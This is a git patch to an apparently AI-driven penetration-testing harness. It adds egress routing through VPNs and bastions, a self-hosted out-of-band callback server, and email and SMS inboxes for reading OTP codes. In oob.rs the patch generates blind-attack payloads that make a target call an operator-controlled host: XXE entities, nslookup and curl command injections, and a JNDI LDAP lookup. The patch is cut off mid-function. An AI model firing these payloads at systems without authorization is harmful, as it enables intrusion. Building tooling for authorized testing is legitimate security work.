From 8aa776665ae355054f46e60646f69402efb74651 Mon Sep 17 00:00:00 2001 From: CyberSecurityUP Date: Mon, 14 Sep 2026 01:35:36 -0300 Subject: [PATCH] feat(net): fail-closed egress, self-hosted OOB channel, inbound SMS MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit transport.rs — internal engagements happen through a VPN, a bastion or a tunnel, and the dangerous failure is silent: with the VPN down, 10.20.0.15 is a machine on the operator's own network and the scan succeeds against the wrong host. So an internal target with no transport is refused before any traffic leaves, and a transport that is up must prove it (the apparent source address has to change) rather than be assumed. Supports SOCKS, HTTP proxy, OpenVPN, SSH bastion (dynamic or single-host forward) and cloudflared. oob.rs — our own Collaborator, self-hosted by default because callbacks are engagement data (internal hostnames, resolver addresses, sometimes the exfiltrated value). HTTP and DNS listeners written on tokio directly, no new dependency. The two levels of proof are separated in code: an HTTP callback proves egress, a DNS query proves only that a resolver saw the name — the overclaim this channel otherwise invites. inbox.rs — mail.tm and inbound SMS (Twilio or webhook). extract_code() scores candidates by surrounding text and returns nothing rather than a guess, so a copyright year never gets submitted as an OTP. A throttling claim requires delivered messages carrying DISTINCT codes, not HTTP 200s. Wired through RunConfig, the CLI (global flags, so a session cannot re-route itself mid-engagement), the REPL and the web console's Authorization tab. Co-Authored-By: Claude Opus 5 (1M context) --- README.md | 38 ++ neurosploit-rs/app/src/main.rs | 62 ++ neurosploit-rs/app/src/repl.rs | 41 ++ neurosploit-rs/crates/harness/src/inbox.rs | 477 ++++++++++++++ neurosploit-rs/crates/harness/src/lib.rs | 3 + neurosploit-rs/crates/harness/src/oob.rs | 595 ++++++++++++++++++ neurosploit-rs/crates/harness/src/pipeline.rs | 119 +++- .../crates/harness/src/transport.rs | 485 ++++++++++++++ neurosploit-rs/crates/harness/src/types.rs | 25 + web/public/app.js | 14 +- web/public/index.html | 32 + web/server.js | 12 + 12 files changed, 1901 insertions(+), 2 deletions(-) create mode 100644 neurosploit-rs/crates/harness/src/inbox.rs create mode 100644 neurosploit-rs/crates/harness/src/oob.rs create mode 100644 neurosploit-rs/crates/harness/src/transport.rs diff --git a/README.md b/README.md index 3d4783f..bd2b623 100755 --- a/README.md +++ b/README.md @@ -525,6 +525,44 @@ neurosploit provenance scan report.pdf.txt # is this ours? which build? neurosploit provenance verify runs/ns-… # manifest vs findings ``` +### Egress — how traffic reaches the target + +Internal engagements happen *through* something, and the dangerous failure is +the silent one: with the VPN down, `10.20.0.15` is a machine on the operator's +own network, and the scan succeeds against the wrong host. So egress is +**fail-closed** — an internal target with no transport is refused before a +single request leaves. + +```bash +--transport socks5://127.0.0.1:1080 +--transport openvpn:/path/client.ovpn +--transport ssh://red@bastion.corp # dynamic SOCKS forward +--transport ssh://red@bastion.corp?forward=10.0.0.5:445 # one authorized host +--transport cloudflared://db.internal.corp:5432 +``` + +The route is also **verified** once it is up (the apparent source address has +to change), and child processes inherit it. + +### Out-of-band channel & inbound SMS + +Blind SSRF, XXE, blind RCE and JNDI produce no visible response — so the +harness runs its own Collaborator: + +```bash +--oob-domain oob.yourdomain.com --oob-http 0.0.0.0:8080 --oob-dns 0.0.0.0:5353 +``` + +Tokens carry the `JOASNSCOPE` sigil, callbacks are correlated by token, and the +two levels of proof are kept apart in code: an **HTTP callback proves egress**, +a **DNS query proves only that a resolver saw the name**. With no channel +configured, agents are told explicitly that blind classes can only be leads. + +`--sms twilio:::` (or `webhook::`) receives OTP +messages. A rate-limit claim then counts *delivered messages carrying distinct +codes* — not HTTP 200s, which is what makes the finding survive a vendor's +review. + ### Internal network & Active Directory — the engagement as a graph An internal result is a path, not a list. `Asset → Exposure → Weakness → diff --git a/neurosploit-rs/app/src/main.rs b/neurosploit-rs/app/src/main.rs index d36fbb7..79eeac4 100644 --- a/neurosploit-rs/app/src/main.rs +++ b/neurosploit-rs/app/src/main.rs @@ -49,6 +49,26 @@ struct Cli { /// Policy profile for an interactive session: web · ot. #[arg(long = "session-policy", global = true)] session_policy: Option, + /// Egress: direct · socks5://host:port · http://host:port · + /// openvpn:/path.ovpn · ssh://user@bastion[?forward=host:port] · + /// cloudflared://host:port. An internal target with no transport is refused + /// rather than tested against whatever network this host is on. Global, so + /// an interactive session cannot change its own route mid-engagement. + #[arg(long = "transport", global = true)] + transport: Option, + /// Out-of-band domain (a wildcard pointed at this host). Without it the + /// blind classes — SSRF, XXE, blind RCE — can only be reported as leads. + #[arg(long = "oob-domain", global = true)] + oob_domain: Option, + /// Where the OOB HTTP listener binds (default 0.0.0.0:8080). + #[arg(long = "oob-http", global = true)] + oob_http: Option, + /// Where the OOB DNS listener binds, when the zone is delegated to us. + #[arg(long = "oob-dns", global = true)] + oob_dns: Option, + /// Inbound SMS: twilio::: or webhook::. + #[arg(long = "sms", global = true)] + sms: Option, } #[derive(Subcommand)] @@ -464,6 +484,11 @@ async fn main() -> anyhow::Result<()> { in_scope: cli.session_in_scope.clone(), environment: cli.session_environment.clone(), policy: cli.session_policy.clone(), + transport: cli.transport.clone(), + oob_domain: cli.oob_domain.clone(), + oob_http: cli.oob_http.clone(), + oob_dns: cli.oob_dns.clone(), + sms: cli.sms.clone(), }; repl::repl(&base, auth).await?; return Ok(()); @@ -520,6 +545,7 @@ async fn main() -> anyhow::Result<()> { cfg.pinned = parse_only(&only); apply_authorization(&mut cfg, &in_scope, cli.capability_token.clone(), &environment, &policy)?; apply_budget(&mut cfg, budget.as_deref(), token_limit, deep_test_limit, coverage_first, depth_first, sample_per_route)?; + apply_network(&mut cfg, &cli)?; if !models.is_empty() { cfg.models = models; } @@ -1370,6 +1396,42 @@ fn apply_budget( Ok(()) } +/// Egress route, out-of-band channel and inbound SMS. +/// +/// The transport spec is parsed here rather than at run time so a typo fails +/// on the command line instead of three minutes into an engagement. +fn apply_network(cfg: &mut RunConfig, cli: &Cli) -> anyhow::Result<()> { + let (transport, oob_domain, oob_http, oob_dns, sms) = ( + cli.transport.clone(), + cli.oob_domain.clone(), + cli.oob_http.clone(), + cli.oob_dns.clone(), + cli.sms.clone(), + ); + if let Some(spec) = transport { + let egress = harness::transport::Egress::parse(&spec).map_err(|e| anyhow::anyhow!(e))?; + println!(" \x1b[2megress: {}\x1b[0m", egress.label()); + cfg.transport = Some(spec); + } + if let Some(d) = oob_domain { + if !d.contains('.') { + anyhow::bail!("--oob-domain needs a real domain whose wildcard points at this host"); + } + println!(" \x1b[2mout-of-band: *.{d}\x1b[0m"); + cfg.oob_domain = Some(d); + } + for (val, label) in [(&oob_http, "--oob-http"), (&oob_dns, "--oob-dns")] { + if let Some(v) = val { + v.parse::() + .map_err(|_| anyhow::anyhow!("{label} must be host:port, got `{v}`"))?; + } + } + cfg.oob_http = oob_http; + cfg.oob_dns = oob_dns; + cfg.sms = sms; + Ok(()) +} + fn parse_only(vals: &[String]) -> Vec { let mut out: Vec = Vec::new(); for v in vals { diff --git a/neurosploit-rs/app/src/repl.rs b/neurosploit-rs/app/src/repl.rs index e140329..a6a29bf 100644 --- a/neurosploit-rs/app/src/repl.rs +++ b/neurosploit-rs/app/src/repl.rs @@ -254,6 +254,13 @@ struct RunRecord { } struct Session { + /// Egress and out-of-band configuration, handed down from the launcher — + /// not settable from inside the session (see [`SessionAuth`]). + transport: Option, + oob_domain: Option, + oob_http: Option, + oob_dns: Option, + sms: Option, models: Vec, subscription: bool, mcp: bool, @@ -301,6 +308,11 @@ struct Session { impl Default for Session { fn default() -> Self { Session { + transport: None, + oob_domain: None, + oob_http: None, + oob_dns: None, + sms: None, models: vec!["anthropic:claude-opus-4-8".into()], subscription: harness::installed_cli_backends().contains(&"claude"), mcp: false, @@ -413,6 +425,14 @@ pub struct SessionAuth { pub in_scope: Vec, pub environment: Option, pub policy: Option, + /// Egress route. Passed in like the grant, and for the same reason: a + /// session that can re-route its own traffic mid-engagement can leave the + /// network it was authorized on. + pub transport: Option, + pub oob_domain: Option, + pub oob_http: Option, + pub oob_dns: Option, + pub sms: Option, } pub async fn repl(base: &Path, auth: SessionAuth) -> anyhow::Result<()> { @@ -454,6 +474,17 @@ pub async fn repl(base: &Path, auth: SessionAuth) -> anyhow::Result<()> { for entry in &auth.in_scope { s.policy.allow(entry); } + s.transport = auth.transport.clone(); + s.oob_domain = auth.oob_domain.clone(); + s.oob_http = auth.oob_http.clone(); + s.oob_dns = auth.oob_dns.clone(); + s.sms = auth.sms.clone(); + if let Some(t) = &s.transport { + println!(" \x1b[2m🔌 egress: {t}\x1b[0m"); + } + if let Some(d) = &s.oob_domain { + println!(" \x1b[2m📡 out-of-band: *.{d}\x1b[0m"); + } if let Some(token) = auth.capability.as_deref() { match harness::capability::key_from_env() { None => println!(" \x1b[31m⛔ a capability token was supplied but no verification key is configured\x1b[0m — set NEUROSPLOIT_CAPABILITY_KEY. Not applied."), @@ -1447,6 +1478,11 @@ async fn run(base: &Path, s: &Session, history: &mut Vec) { cfg.scope = s.policy.clone(); cfg.capability = s.capability.clone(); cfg.policy = s.engagement.clone(); + cfg.transport = s.transport.clone(); + cfg.oob_domain = s.oob_domain.clone(); + cfg.oob_http = s.oob_http.clone(); + cfg.oob_dns = s.oob_dns.clone(); + cfg.sms = s.sms.clone(); cfg.auth = s.auth.clone(); cfg.pinned = s.pinned.clone(); // Multiple /auth identities → prepend the access-control (IDOR/BOLA/BFLA) directive. @@ -1525,6 +1561,11 @@ async fn start_background(base: &Path, s: &Session, reader: &mut Reader, cfg.scope = s.policy.clone(); cfg.capability = s.capability.clone(); cfg.policy = s.engagement.clone(); + cfg.transport = s.transport.clone(); + cfg.oob_domain = s.oob_domain.clone(); + cfg.oob_http = s.oob_http.clone(); + cfg.oob_dns = s.oob_dns.clone(); + cfg.sms = s.sms.clone(); cfg.auth = s.auth.clone(); cfg.pinned = s.pinned.clone(); if matches!(mode_e, crate::Mode::Grey) { cfg.repo = s.repo.clone(); } diff --git a/neurosploit-rs/crates/harness/src/inbox.rs b/neurosploit-rs/crates/harness/src/inbox.rs new file mode 100644 index 0000000..6c3b4aa --- /dev/null +++ b/neurosploit-rs/crates/harness/src/inbox.rs @@ -0,0 +1,477 @@ +//! Receiving what the target sends — email and SMS. +//! +//! Half the interesting authentication surface is behind something the target +//! *sends you*: a confirmation link, a 6-digit code, a password reset token. On +//! a real engagement this is where runs stop. The harness registers an account, +//! the target says "check your email", and everything past that point — +//! authenticated IDOR, privilege boundaries, the actual application — is +//! unreachable. The run reports what it could see from the doormat. +//! +//! It is also where rate-limit testing becomes real. "No throttling on the OTP +//! endpoint" is a weak finding when all you counted was HTTP 200s; it is a +//! strong one when you can show twenty distinct codes arrived and each still +//! worked. +//! +//! Two channels, one interface: +//! +//! ```text +//! target ──email──→ mail.tm inbox ─┐ +//! ├─→ Message ─→ code / link +//! target ──SMS────→ SMS provider ─┘ +//! ``` +//! +//! ## Codes are extracted carefully, on purpose +//! +//! A naive "first run of digits" grabs the year out of a copyright footer, a +//! support phone number, or a price. Then the harness confidently submits +//! `2026` as the OTP, gets rejected, and concludes the code expired. So +//! [`extract_code`] scores candidates by how the surrounding text reads, and +//! returns nothing rather than a guess when nothing looks like a code — +//! because "no code found" is recoverable and a wrong code is not. + +use serde::{Deserialize, Serialize}; +use std::time::Duration; + +/// One received message, from either channel. +#[derive(Debug, Clone, Default, Serialize, Deserialize)] +pub struct Message { + pub id: String, + /// Sender address or shortcode. + pub from: String, + /// Recipient — which identity it arrived for. + pub to: String, + #[serde(default)] + pub subject: String, + pub body: String, + /// Unix seconds, as reported by the provider. + #[serde(default)] + pub at: u64, +} + +impl Message { + /// The one-time code, if this message carries one. + pub fn code(&self) -> Option { + extract_code(&format!("{}\n{}", self.subject, self.body)) + } + /// The first confirmation/reset link. + pub fn link(&self) -> Option { + extract_link(&self.body) + } +} + +/// Pull a one-time code out of a message. +/// +/// Returns `None` unless something in the text actually reads like a code. +pub fn extract_code(text: &str) -> Option { + let lower = text.to_lowercase(); + let bytes: Vec = text.chars().collect(); + let mut best: Option<(i32, String)> = None; + + let mut i = 0; + while i < bytes.len() { + if !bytes[i].is_ascii_digit() { + i += 1; + continue; + } + let start = i; + while i < bytes.len() && bytes[i].is_ascii_digit() { + i += 1; + } + let digits: String = bytes[start..i].iter().collect(); + // Codes are 4–8 digits. Anything longer is an id, a timestamp or a + // card number; anything shorter is a quantity. + if digits.len() < 4 || digits.len() > 8 { + continue; + } + // A run of digits glued to other characters (an id in a URL, a version, + // part of a longer token) is not a code. + let before = if start == 0 { ' ' } else { bytes[start - 1] }; + let after = if i >= bytes.len() { ' ' } else { bytes[i] }; + if before.is_alphanumeric() || after.is_alphanumeric() || before == '-' || after == '-' { + continue; + } + + let mut score = 0i32; + // Six digits is the overwhelmingly common shape. + score += match digits.len() { + 6 => 3, + 4 | 5 | 8 => 2, + _ => 1, + }; + // What the surrounding sentence says matters more than the shape. + let window_start = start.saturating_sub(60); + let window_end = (i + 40).min(bytes.len()); + let window: String = bytes[window_start..window_end].iter().collect::().to_lowercase(); + for kw in ["code", "otp", "one-time", "one time", "verification", "verify", "pin", "token", "confirm", "2fa", "código", "codigo", "verificação", "verificacao"] { + if window.contains(kw) { + score += 4; + break; + } + } + // A year in a footer looks exactly like a 4-digit code, and never is. + if digits.len() == 4 { + if let Ok(n) = digits.parse::() { + if (1990..=2100).contains(&n) && (window.contains("©") || window.contains("copyright") || window.contains("all rights")) { + continue; + } + } + } + // Phone numbers and prices are not codes. + if window.contains("call ") || window.contains("phone") || window.contains("tel:") || window.contains('$') || window.contains("r$") { + score -= 3; + } + if lower.contains("expires") || lower.contains("expira") || lower.contains("valid for") { + score += 1; + } + if best.as_ref().map(|(s, _)| score > *s).unwrap_or(true) { + best = Some((score, digits)); + } + } + // A candidate that only scored on shape is a guess, not a reading. + best.filter(|(score, _)| *score >= 4).map(|(_, d)| d) +} + +/// First http(s) link in a message. +pub fn extract_link(text: &str) -> Option { + let idx = text.find("http://").or_else(|| text.find("https://"))?; + let rest = &text[idx..]; + let end = rest + .find(|c: char| c.is_whitespace() || c == '"' || c == '<' || c == '>' || c == ')') + .unwrap_or(rest.len()); + let link = rest[..end].trim_end_matches(['.', ',', ';', ']']).to_string(); + (link.len() > 10).then_some(link) +} + +/// Where messages come from. +#[derive(Debug, Clone)] +pub enum Source { + /// mail.tm — free disposable inboxes, no API key. What the harness uses by + /// default for email confirmation flows. + MailTm { address: String, token: String }, + /// Twilio inbound SMS, polled. `sid`/`token` are account credentials; the + /// number is the one the target texts. + Twilio { sid: String, token: String, number: String }, + /// Any provider that can POST a webhook, received on the harness's own OOB + /// HTTP listener. The escape hatch for the dozen SMS gateways nobody has + /// written a client for. + Webhook { endpoint: String, number: String }, +} + +/// An inbox the harness can read. +#[derive(Clone)] +pub struct Inbox { + pub source: std::sync::Arc, + client: reqwest::Client, +} + +impl Inbox { + /// Create a disposable email inbox on mail.tm. + /// + /// Two calls the provider requires in order: pick a live domain, then + /// create the account against it. Inventing a domain gets a 422, which is + /// how this silently failed before. + pub async fn mail_tm() -> anyhow::Result { + let client = reqwest::Client::builder().timeout(Duration::from_secs(20)).build()?; + let domains: serde_json::Value = + client.get("https://api.mail.tm/domains").send().await?.json().await?; + let domain = domains + .get("hydra:member") + .and_then(|m| m.get(0)) + .and_then(|d| d.get("domain")) + .and_then(|d| d.as_str()) + .ok_or_else(|| anyhow::anyhow!("mail.tm returned no usable domain"))? + .to_string(); + + let local = crate::validation::canary("ns").to_lowercase(); + let address = format!("{local}@{domain}"); + let password = crate::validation::canary("pw"); + let created = client + .post("https://api.mail.tm/accounts") + .json(&serde_json::json!({"address": address, "password": password})) + .send() + .await?; + if !created.status().is_success() { + anyhow::bail!("mail.tm refused the account: {}", created.status()); + } + let tok: serde_json::Value = client + .post("https://api.mail.tm/token") + .json(&serde_json::json!({"address": address, "password": password})) + .send() + .await? + .json() + .await?; + let token = tok + .get("token") + .and_then(|t| t.as_str()) + .ok_or_else(|| anyhow::anyhow!("mail.tm issued no token"))? + .to_string(); + Ok(Inbox { source: std::sync::Arc::new(Source::MailTm { address, token }), client }) + } + + pub fn twilio(sid: &str, token: &str, number: &str) -> Inbox { + Inbox { + source: std::sync::Arc::new(Source::Twilio { + sid: sid.into(), + token: token.into(), + number: number.into(), + }), + client: reqwest::Client::new(), + } + } + + pub fn webhook(endpoint: &str, number: &str) -> Inbox { + Inbox { + source: std::sync::Arc::new(Source::Webhook { endpoint: endpoint.into(), number: number.into() }), + client: reqwest::Client::new(), + } + } + + /// The address or number to hand the target. + pub fn identity(&self) -> String { + match &*self.source { + Source::MailTm { address, .. } => address.clone(), + Source::Twilio { number, .. } => number.clone(), + Source::Webhook { number, .. } => number.clone(), + } + } + + /// Everything currently in the inbox, newest first. + pub async fn messages(&self) -> anyhow::Result> { + match &*self.source { + Source::MailTm { token, address } => { + let list: serde_json::Value = self + .client + .get("https://api.mail.tm/messages") + .bearer_auth(token) + .send() + .await? + .json() + .await?; + let empty = vec![]; + let items = list.get("hydra:member").and_then(|m| m.as_array()).unwrap_or(&empty); + let mut out = Vec::new(); + for item in items { + let id = item.get("id").and_then(|v| v.as_str()).unwrap_or_default().to_string(); + // The list view carries only a snippet; the code is often + // in the part it truncates, so each message is fetched. + let full: serde_json::Value = self + .client + .get(format!("https://api.mail.tm/messages/{id}")) + .bearer_auth(token) + .send() + .await? + .json() + .await?; + out.push(Message { + id, + from: full.get("from").and_then(|f| f.get("address")).and_then(|a| a.as_str()).unwrap_or_default().to_string(), + to: address.clone(), + subject: full.get("subject").and_then(|s| s.as_str()).unwrap_or_default().to_string(), + body: full + .get("text") + .and_then(|t| t.as_str()) + .map(|s| s.to_string()) + .or_else(|| full.get("html").and_then(|h| h.as_array()).map(|a| a.iter().filter_map(|v| v.as_str()).collect::>().join("\n"))) + .unwrap_or_default(), + at: 0, + }); + } + Ok(out) + } + Source::Twilio { sid, token, number } => { + let url = format!("https://api.twilio.com/2010-04-01/Accounts/{sid}/Messages.json?To={number}&PageSize=50"); + let resp: serde_json::Value = + self.client.get(url).basic_auth(sid, Some(token)).send().await?.json().await?; + let empty = vec![]; + let items = resp.get("messages").and_then(|m| m.as_array()).unwrap_or(&empty); + Ok(items + .iter() + .map(|m| Message { + id: m.get("sid").and_then(|v| v.as_str()).unwrap_or_default().to_string(), + from: m.get("from").and_then(|v| v.as_str()).unwrap_or_default().to_string(), + to: number.clone(), + subject: String::new(), + body: m.get("body").and_then(|v| v.as_str()).unwrap_or_default().to_string(), + at: 0, + }) + .collect()) + } + Source::Webhook { endpoint, number } => { + let resp = self.client.get(endpoint).send().await?.text().await?; + let items: Vec = serde_json::from_str(&resp).unwrap_or_default(); + Ok(items.into_iter().filter(|m| m.to.is_empty() || m.to == *number).collect()) + } + } + } + + /// Wait for a message matching `want`, up to `timeout`. + /// + /// Polls, because none of these providers push. Returns `None` on timeout + /// — which is a finding of its own: "the target never sent it" is a + /// different result from "the code did not work". + pub async fn wait_for(&self, timeout: Duration, want: F) -> Option + where + F: Fn(&Message) -> bool, + { + let deadline = std::time::Instant::now() + timeout; + let mut seen: Vec = Vec::new(); + loop { + if let Ok(msgs) = self.messages().await { + for m in msgs { + if seen.contains(&m.id) { + continue; + } + seen.push(m.id.clone()); + if want(&m) { + return Some(m); + } + } + } + if std::time::Instant::now() >= deadline { + return None; + } + tokio::time::sleep(Duration::from_secs(2)).await; + } + } + + /// Wait for a one-time code. + pub async fn wait_for_code(&self, timeout: Duration) -> Option { + self.wait_for(timeout, |m| m.code().is_some()).await.and_then(|m| m.code()) + } + + /// Wait for a confirmation link. + pub async fn wait_for_link(&self, timeout: Duration) -> Option { + self.wait_for(timeout, |m| m.link().is_some()).await.and_then(|m| m.link()) + } +} + +/// Evidence that an OTP/reset endpoint is not throttled. +/// +/// Counting HTTP 200s is not evidence — an endpoint can accept twenty requests +/// and send one message. What matters is how many **distinct** codes actually +/// arrived, which is only observable from the receiving end. This is the +/// difference between a finding that survives a vendor's review and one that +/// does not. +#[derive(Debug, Clone, Default, Serialize, Deserialize)] +pub struct DeliveryBurst { + pub requested: usize, + pub delivered: usize, + pub distinct_codes: usize, + pub window_secs: u64, + #[serde(default)] + pub codes: Vec, +} + +impl DeliveryBurst { + pub fn from_messages(requested: usize, msgs: &[Message], window_secs: u64) -> DeliveryBurst { + let mut codes: Vec = msgs.iter().filter_map(|m| m.code()).collect(); + codes.sort(); + codes.dedup(); + DeliveryBurst { + requested, + delivered: msgs.len(), + distinct_codes: codes.len(), + window_secs, + codes, + } + } + + /// Is this actually a throttling failure? + /// + /// Two or three messages could be a retry, a user double-tapping, or the + /// provider's own duplicate. A handful of distinct codes in one window is + /// behaviour. + pub fn proves_no_throttle(&self) -> bool { + self.distinct_codes >= 5 && self.delivered >= 5 + } + + pub fn summary(&self) -> String { + format!( + "{} request(s) in {}s produced {} delivered message(s) carrying {} distinct code(s){}", + self.requested, + self.window_secs, + self.delivered, + self.distinct_codes, + if self.proves_no_throttle() { "" } else { " — under the bar for a throttling claim" } + ) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn msg(body: &str) -> Message { + Message { id: "1".into(), body: body.into(), ..Default::default() } + } + + #[test] + fn a_real_otp_email_yields_its_code() { + let m = msg("Your verification code is 483920. It expires in 10 minutes."); + assert_eq!(m.code().as_deref(), Some("483920")); + + let pt = msg("Seu código de verificação é 5521. Não compartilhe."); + assert_eq!(pt.code().as_deref(), Some("5521")); + } + + #[test] + fn a_copyright_year_is_not_a_code() { + let m = msg("Welcome aboard!\n\nHappy testing.\n\n© 2026 Example Corp. All rights reserved."); + assert_eq!(m.code(), None, "submitting the year as an OTP is worse than finding nothing"); + } + + #[test] + fn ids_phone_numbers_and_prices_are_not_codes() { + assert_eq!(extract_code("Order #99341 shipped. Call 555-0142 with questions."), None); + assert_eq!(extract_code("Your total is $1299 including tax."), None); + // A digit run glued into a URL path is an id, not a code. + assert_eq!(extract_code("Open https://app.test/orders/48213 to review."), None); + } + + #[test] + fn the_keyworded_candidate_wins_over_a_bare_number() { + let text = "Invoice 88213 is ready.\nYour one-time code: 119284\nThanks."; + assert_eq!(extract_code(text).as_deref(), Some("119284")); + } + + #[test] + fn confirmation_links_survive_surrounding_punctuation() { + let m = msg("Confirm here: https://app.test/verify?token=abc123def. Thanks!"); + assert_eq!(m.link().as_deref(), Some("https://app.test/verify?token=abc123def")); + + let html = msg("Reset"); + assert_eq!(html.link().as_deref(), Some("https://app.test/r/9f2")); + } + + #[test] + fn nothing_is_returned_when_nothing_looks_like_a_code() { + assert_eq!(extract_code("Thanks for signing up. We'll be in touch."), None); + assert_eq!(extract_link("no links here"), None); + } + + #[test] + fn a_throttling_claim_needs_delivered_codes_not_http_200s() { + // Twenty requests accepted, one message sent: the endpoint returned + // 200 nineteen times and did nothing. Not a finding. + let one = vec![msg("Your code is 111111")]; + let weak = DeliveryBurst::from_messages(20, &one, 60); + assert!(!weak.proves_no_throttle()); + assert!(weak.summary().contains("under the bar")); + + // Six distinct codes actually arrived. That is behaviour. + let many: Vec = (0..6).map(|i| msg(&format!("Your code is 10000{i}"))).collect(); + let strong = DeliveryBurst::from_messages(6, &many, 45); + assert_eq!(strong.distinct_codes, 6); + assert!(strong.proves_no_throttle()); + } + + #[test] + fn duplicate_codes_do_not_inflate_the_burst() { + // A provider that redelivers the same message must not read as six + // separate codes. + let dupes: Vec = (0..6).map(|_| msg("Your code is 424242")).collect(); + let b = DeliveryBurst::from_messages(6, &dupes, 30); + assert_eq!(b.distinct_codes, 1); + assert!(!b.proves_no_throttle()); + } +} diff --git a/neurosploit-rs/crates/harness/src/lib.rs b/neurosploit-rs/crates/harness/src/lib.rs index f10849f..a907e48 100644 --- a/neurosploit-rs/crates/harness/src/lib.rs +++ b/neurosploit-rs/crates/harness/src/lib.rs @@ -18,6 +18,7 @@ pub mod claims; pub mod creds; pub mod grounding; pub mod hygiene; +pub mod inbox; pub mod integrations; pub mod internal; pub mod knowledge_graph; @@ -27,6 +28,7 @@ pub mod pomdp; pub mod prosecutor; pub mod provenance; pub mod models; +pub mod oob; pub mod pipeline; pub mod pool; pub mod probe; @@ -34,6 +36,7 @@ pub mod replay; pub mod report; pub mod rl; pub mod scope; +pub mod transport; pub mod types; pub mod uncertainty; pub mod validation; diff --git a/neurosploit-rs/crates/harness/src/oob.rs b/neurosploit-rs/crates/harness/src/oob.rs new file mode 100644 index 0000000..900fe07 --- /dev/null +++ b/neurosploit-rs/crates/harness/src/oob.rs @@ -0,0 +1,595 @@ +//! Out-of-band interaction channel — the Collaborator we own. +//! +//! A whole class of vulnerability produces no visible response. Blind SSRF, +//! blind XXE, blind command injection, a JNDI lookup, an SMTP header +//! injection: the target does the thing, and says nothing. From inside the +//! response there is no difference between "it worked" and "it was ignored" — +//! which is why these are the findings agents most often assert and least +//! often prove. +//! +//! The answer is to be the third party. Give the target a hostname we control, +//! then watch for it to arrive: +//! +//! ```text +//! payload: http://JOASNSCOPEssrf1a2b.oob.example.com/ +//! │ +//! target ─────────────────→│ DNS query for that name ← proof of resolution +//! ─────────────────→│ HTTP GET to that name ← proof of egress +//! │ +//! harness: correlate by token, timestamp, source address +//! ``` +//! +//! Two levels of proof, deliberately distinguished. A **DNS query** proves the +//! target's resolver saw the name — that is real evidence, and it is often all +//! you get from a hardened environment. An **HTTP request** proves the target +//! itself made an outbound connection, which is stronger. Reporting the first +//! as if it were the second is the single most common overclaim in blind-SSRF +//! write-ups, so [`Interaction::proves_egress`] draws the line in code. +//! +//! ## Why not just use a public Collaborator +//! +//! Public interaction servers work, and [`Provider::Remote`] speaks to one. +//! But an engagement's callbacks are engagement data: they contain internal +//! hostnames, resolver addresses, sometimes the exfiltrated value itself. +//! Sending them to somebody else's server is a disclosure the client did not +//! agree to. Self-hosted is the default here for that reason, not for purity. + +use serde::{Deserialize, Serialize}; +use std::collections::HashMap; +use std::net::SocketAddr; +use std::sync::{Arc, Mutex}; +use std::time::{Duration, SystemTime, UNIX_EPOCH}; + +/// How the target reached us. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum Channel { + /// A DNS query for our name. Proves resolution, not egress: a resolver + /// asked on the target's behalf, which may or may not be the target. + Dns, + /// An HTTP request to our listener. Proves the target made an outbound + /// connection, and carries its source address and headers. + Http, +} + +impl Channel { + pub fn as_str(self) -> &'static str { + match self { + Channel::Dns => "dns", + Channel::Http => "http", + } + } +} + +/// One callback. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Interaction { + pub token: String, + pub channel: Channel, + /// Who connected — for DNS this is the resolver, not necessarily the target. + pub remote: String, + /// Unix seconds. + pub at: u64, + /// The request line, or the queried name. + pub detail: String, + /// Headers worth keeping, on HTTP. + #[serde(default)] + pub headers: Vec<(String, String)>, + /// Body, truncated. A blind injection that exfiltrates lands here. + #[serde(default)] + pub body: String, +} + +impl Interaction { + /// Does this prove the *target* connected out? + /// + /// Only HTTP does. A DNS query proves that a resolver somewhere looked the + /// name up: real evidence of reach, but one hop short of egress, and a + /// finding that claims "the server fetched my URL" on the strength of a + /// DNS query has claimed something it did not observe. + pub fn proves_egress(&self) -> bool { + self.channel == Channel::Http + } +} + +/// Where interactions come from. +#[derive(Debug, Clone)] +pub enum Provider { + /// Listeners we run. Callbacks never leave the operator's infrastructure. + SelfHosted { http: SocketAddr, dns: Option }, + /// An interaction server elsewhere, polled over HTTP. The endpoint must + /// return a JSON array of `Interaction`-shaped objects. + Remote { poll_url: String }, +} + +/// The channel itself. +#[derive(Clone)] +pub struct Collaborator { + /// Base domain whose wildcard points at these listeners. + pub domain: String, + pub provider: Provider, + log: Arc>>, +} + +impl Collaborator { + /// Self-hosted channel. `domain` must have a wildcard A record (and an NS + /// delegation, for the DNS side) pointing at these listeners — without + /// that the payloads are just strings, so [`Self::preflight`] says so + /// rather than letting an engagement discover it three hours in. + pub fn self_hosted(domain: &str, http: SocketAddr, dns: Option) -> Self { + Collaborator { + domain: domain.trim().trim_start_matches('.').to_lowercase(), + provider: Provider::SelfHosted { http, dns }, + log: Arc::new(Mutex::new(Vec::new())), + } + } + + pub fn remote(domain: &str, poll_url: &str) -> Self { + Collaborator { + domain: domain.trim().trim_start_matches('.').to_lowercase(), + provider: Provider::Remote { poll_url: poll_url.to_string() }, + log: Arc::new(Mutex::new(Vec::new())), + } + } + + /// Mint a token for one probe. Carries the provenance sigil, so a callback + /// arriving on somebody else's listener still names the engine that sent + /// it, and a value showing up in a log months later is traceable. + pub fn token(&self, kind: &str) -> String { + crate::provenance::Provenance::process().marker(kind).to_lowercase() + } + + /// The hostname to put in a payload. + pub fn hostname(&self, token: &str) -> String { + format!("{token}.{}", self.domain) + } + /// A URL, for SSRF and XXE. + pub fn url(&self, token: &str) -> String { + format!("http://{}/{}", self.hostname(token), token) + } + /// Payload fragments for the common blind classes. + pub fn payloads(&self, token: &str) -> Vec<(&'static str, String)> { + let host = self.hostname(token); + let url = self.url(token); + vec![ + ("ssrf", url.clone()), + ("xxe", format!("]>&x;")), + ("rce-dns", format!("nslookup {host}")), + ("rce-http", format!("curl -s {url}")), + ("jndi", format!("${{jndi:ldap://{host}/a}}")), + ("smtp-header", format!("X-Probe: {url}")), + ] + } + + /// Record an interaction (used by the listeners, and by tests). + pub fn record(&self, i: Interaction) { + if let Ok(mut log) = self.log.lock() { + // Bounded: a target that loops on our URL should not exhaust + // memory, and after a few thousand callbacks the extra ones say + // nothing new. + if log.len() >= 5000 { + log.remove(0); + } + log.push(i); + } + } + + /// Everything seen so far. + pub fn interactions(&self) -> Vec { + self.log.lock().map(|l| l.clone()).unwrap_or_default() + } + + /// Callbacks for one token. + pub fn received(&self, token: &str) -> Vec { + let t = token.to_lowercase(); + 